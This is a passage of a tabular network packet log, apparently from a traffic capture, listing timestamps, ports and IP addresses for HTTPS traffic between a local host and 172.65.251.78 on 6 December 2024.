Dec 6, 2024 15:51:55.324676037 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.324732065 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.324738026 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.324783087 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.330713034 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.330732107 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.330776930 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.330782890 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.330813885 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.330832005 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.338519096 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.338535070 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.338589907 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.338597059 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.338646889 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.344917059 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.344939947 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.344999075 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.345007896 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.345061064 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.350862026 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.350881100 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.350940943 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.350948095 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.350980043 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.357832909 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.357851982 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.357909918 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.357923985 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.357964039 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.503772020 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.503798008 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.503863096 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.503876925 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.503927946 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.509682894 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.509705067 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.509756088 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.509763956 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.509809017 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.516942024 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.516963005 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.517014027 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.517021894 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.517055035 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.520032883 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.523267984 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.523289919 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.523403883 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.523411036 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.524043083 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.530088902 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.530112982 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.530174017 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.530185938 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.530219078 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.536479950 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.536498070 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.536545992 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.536550999 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.536582947 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.542706966 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.542722940 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.542776108 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.542784929 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.542819977 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.549407959 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.549431086 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.549498081 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.549504042 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.549578905 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.696001053 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.696036100 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.696094036 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.696108103 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.696151018 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.702734947 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.702756882 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.702800035 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.702807903 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.702846050 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.708679914 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.708705902 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.708760977 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.708767891 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.708811045 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.715503931 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.715532064 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.715572119 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.715579033 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.715629101 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.722394943 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.722423077 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.722486019 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.722492933 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.722534895 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.728813887 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.728847980 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.728899002 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.728907108 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.728945017 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.735836983 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.735861063 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.735912085 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.735918999 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.735954046 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.741720915 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.741749048 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.741784096 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.741790056 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.741832972 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.888390064 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.888417959 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.888472080 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.888485909 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.888513088 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.888535023 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.894819021 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.894844055 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.894893885 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.894900084 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.894928932 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.894944906 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.902297974 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.902317047 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.902380943 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.902386904 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.902424097 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.908154011 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.908173084 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.908256054 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.908262014 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.908502102 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.914630890 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.914649010 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.914711952 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.914717913 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.914746046 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.914760113 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.920963049 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.920981884 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.921050072 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.921055079 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.921317101 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.927779913 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.927798986 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.928010941 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.928015947 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.928065062 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.934710026 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.934727907 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.934792995 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:55.934802055 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:55.935033083 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.080391884 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.080418110 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.080527067 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.080540895 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.080576897 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.087428093 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.087452888 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.087521076 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.087533951 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.087558985 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.087580919 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.094058990 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.094079971 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.094160080 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.094167948 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.094351053 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.100210905 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.100243092 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.100321054 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.100327969 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.100347042 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.100366116 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.106826067 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.106852055 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.106915951 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.106921911 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.106956959 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.113729000 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.113754034 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.113846064 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.113854885 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.114099026 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.120201111 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.120223999 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.120312929 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.120321035 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.120357037 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.127127886 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.127151012 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.127224922 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.127230883 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.127269030 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.272684097 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.272722006 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.272775888 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.272789001 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.272830963 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.278347969 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.278378010 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.278419018 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.278424025 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.278461933 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.283787966 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.283812046 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.283864975 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.283870935 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.283899069 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.283922911 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.289973021 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.290011883 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.290041924 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.290046930 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.290090084 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.295803070 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.295831919 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.295876980 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.295881987 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.295914888 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.295926094 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.539087057 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.539118052 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.539169073 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.539182901 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.539227962 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.664522886 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.664551973 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.664612055 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.664624929 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.664658070 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.664679050 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.667423010 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.667448997 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.667519093 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.667529106 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.667671919 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.715393066 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.715420961 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.715476036 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.715487957 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.715533018 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.721369982 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.721396923 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.721474886 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.721482992 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.721519947 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.724282026 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.724308014 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.724351883 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.724356890 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.724395037 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.727356911 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.727387905 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.727447033 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.727453947 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.727499962 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.730429888 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.730448008 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.730506897 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.730513096 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.730597973 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.733321905 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.733342886 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.733396053 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.733402014 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.733447075 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.737016916 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.737035036 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.737092018 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.737098932 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.737145901 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.739212036 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.739228010 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.739285946 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.739291906 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.739340067 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.787683964 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.787710905 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.787781000 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.787791014 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.787842989 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.793206930 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.793230057 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.793292046 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.793298960 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.793327093 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.793349981 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.795428038 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.795448065 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.795517921 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.795523882 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.795571089 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.797734022 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.797755003 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.797847986 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.797852993 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.798015118 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.800348997 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.800374031 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.800451040 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.800455093 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.800494909 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.802793026 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.802820921 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.802876949 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.802881956 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.802932024 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.805219889 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.805238962 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.805282116 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.805286884 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.805305004 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.805326939 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.807502985 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.807522058 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.807563066 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:56.807568073 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:56.807606936 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:57.024385929 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:57.024415016 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:57.024457932 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:57.024477959 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:57.024502993 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:57.024522066 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:57.032334089 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:57.032358885 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:57.032407045 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:57.032417059 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:57.032433987 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:57.032453060 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:57.038938046 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:57.038971901 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:57.039011955 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:57.039017916 CET	443	49705	172.65.251.78	192.168.2.5
Dec 6, 2024 15:51:57.039042950 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:57.039063931 CET	49705	443	192.168.2.5	172.65.251.78
Dec 6, 2024 15:51:57.046484947 CET	443	49705	172.65.251.78	192.168.2.5
